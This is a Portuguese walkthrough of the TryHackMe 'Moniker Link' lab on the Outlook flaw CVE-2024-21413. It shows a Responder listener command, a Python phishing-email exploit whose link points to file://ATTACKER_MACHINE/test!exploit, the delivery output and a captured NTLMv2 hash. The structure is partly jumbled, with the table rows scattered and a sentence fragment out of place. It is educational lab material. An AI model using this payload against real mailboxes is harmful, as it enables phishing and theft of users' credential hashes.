
Passo a passo do TryHackMe Moniker Link (CVE-2024-21413): bypass da Protected View do Outlook que leva à captura do hash NTLMv2 por meio de um link moniker elaborado.
Um passo a passo completo da sala "Moniker Link" do TryHackMe: transformando o CVE-2024-21413, uma vulnerabilidade do Microsoft Outlook de 2024, em arma para roubar o hash NTLMv2 da vítima no momento em que ela clica em um link em um e-mail de phishing — sem macro, sem anexo, sem aviso de segurança óbvio.
O CVE-2024-21413 ("Moniker Link") é uma vulnerabilidade na forma como o Outlook valida links file:// que usam a sintaxe "moniker" do OLE do Windows (um ! final após o caminho, ex. file://host/share!something). O Outlook deveria abrir links de arquivos externos por meio do Protected View, que isola o arquivo e avisa o usuário antes que qualquer credencial possa vazar. O ! extra quebra o parser de URL do Outlook o suficiente para que ele ignore o Protected View por completo e entregue o link diretamente ao Windows, que — como parece um caminho UNC — tenta silenciosamente a autenticação SMB contra o servidor do atacante. Essa tentativa de autenticação vaza o hash NTLMv2 da vítima antes que a vítima tenha feito qualquer coisa além de clicar em um link de aparência normal.
| Tarefa | Objetivo |
|---|---|
| 1. Reconhecimento | Entender o CVE e como o bug de parsing de moniker link ignora o Protected View |
responder -I ens5
O Responder é iniciado na interface da máquina do atacante antes de qualquer envio, com envenenamento de LLMNR, NBT-NS e DNS habilitados. É isso que realmente captura o vazamento de credenciais: uma vez que o exploit engana o Outlook para tentar autenticação SMB contra o IP do atacante, o Responder é quem fica escutando do outro lado para capturá-la.

O alvo é uma caixa de correio Outlook padrão, [email protected], na visualização normal da caixa de entrada antes de qualquer e-mail de phishing chegar — a linha de base a partir da qual o restante da sala trabalha.

sender_email = '[email protected]'
receiver_email = '[email protected]'
...
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>
O exploit (PoC público do CVE-2024-21413 do CMNatic) é um pequeno script em Python que constrói e envia um e-mail HTML via SMTP. O payload está inteiramente em uma linha: um link <a href="file://..."> apontando para a máquina do atacante, com um !exploit final anexado ao caminho. Esse ! final é todo o bug — é o que faz o parser de links do Outlook classificar incorretamente a URL e pular a verificação do Protected View que normalmente aplicaria a um link de arquivo externo.

python3 exploit.py
Enter your attacker email password: attacker
Email delivered
Executar o script autentica no servidor de e-mail e envia o e-mail elaborado para a vítima. Email delivered confirma que ele saiu com sucesso da caixa de correio do atacante.

O e-mail chega na caixa de entrada de [email protected] vindo de CMNatic, com assunto CVE-2024-21413, contendo nada além de um único hiperlink com o texto "Click me" — sem anexo, sem aviso de macro, nada que normalmente faria um filtro de phishing ou um usuário cauteloso desconfiar.

Clicar em "Click me" dispara a caixa de diálogo de erro do Windows Explorer do Outlook: "Não foi possível encontrar '\10.113.72.84\test!exploit'. Verifique se o local ou o endereço da web está correto." Esse erro na verdade é a prova de que o exploit já funcionou — quando essa caixa de diálogo aparece, o Windows já tentou resolver esse caminho UNC via SMB e já autenticou em 10.113.72.84 (a máquina do atacante) no processo. A falha visível é apenas o Explorer não conseguindo encontrar um compartilhamento que nunca deveria existir; o vazamento de credenciais já aconteceu silenciosamente antes mesmo de a caixa de erro aparecer.

[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash : tryhackme::THM-MONIKERLINK:3f2abcd40483ccba:...
De volta à máquina do atacante, o Responder já capturou o handshake NTLMv2-SSP completo de THM-MONIKERLINK\tryhackme, originado de 10.113.150.143 (a vítima). Sem prompt de credenciais, sem aviso de segurança e sem ação do usuário além de um único clique em o que parecia um link comum — o hash estava pronto para ser quebrado ou usado em relay no instante em que o Outlook tratou incorretamente o moniker link.

!) era a vulnerabilidade inteira. O CVE-2024-21413 é um bom lembrete de que parsers de URL/caminho são uma fonte comum de bypass de limites de segurança — uma entrada malformada não precisa ser complexa para passar por uma verificação; ela só precisa cair em um caminho de código que a verificação não cobre.file:// é uma técnica antiga; o que tornou esse CVE notável foi que o Outlook não deveria deixar o link disparar sem nenhum aviso.| 2. Configurar o listener | Subir o Responder para capturar a autenticação SMB de saída |
| 3. Armar o exploit | Construir um e-mail de phishing contendo um moniker link malicioso |
| 4. Entregar | Enviar o e-mail para a caixa de correio da vítima |
| 5. Capturar | Fazer a vítima clicar no link e capturar o hash NTLMv2 dela |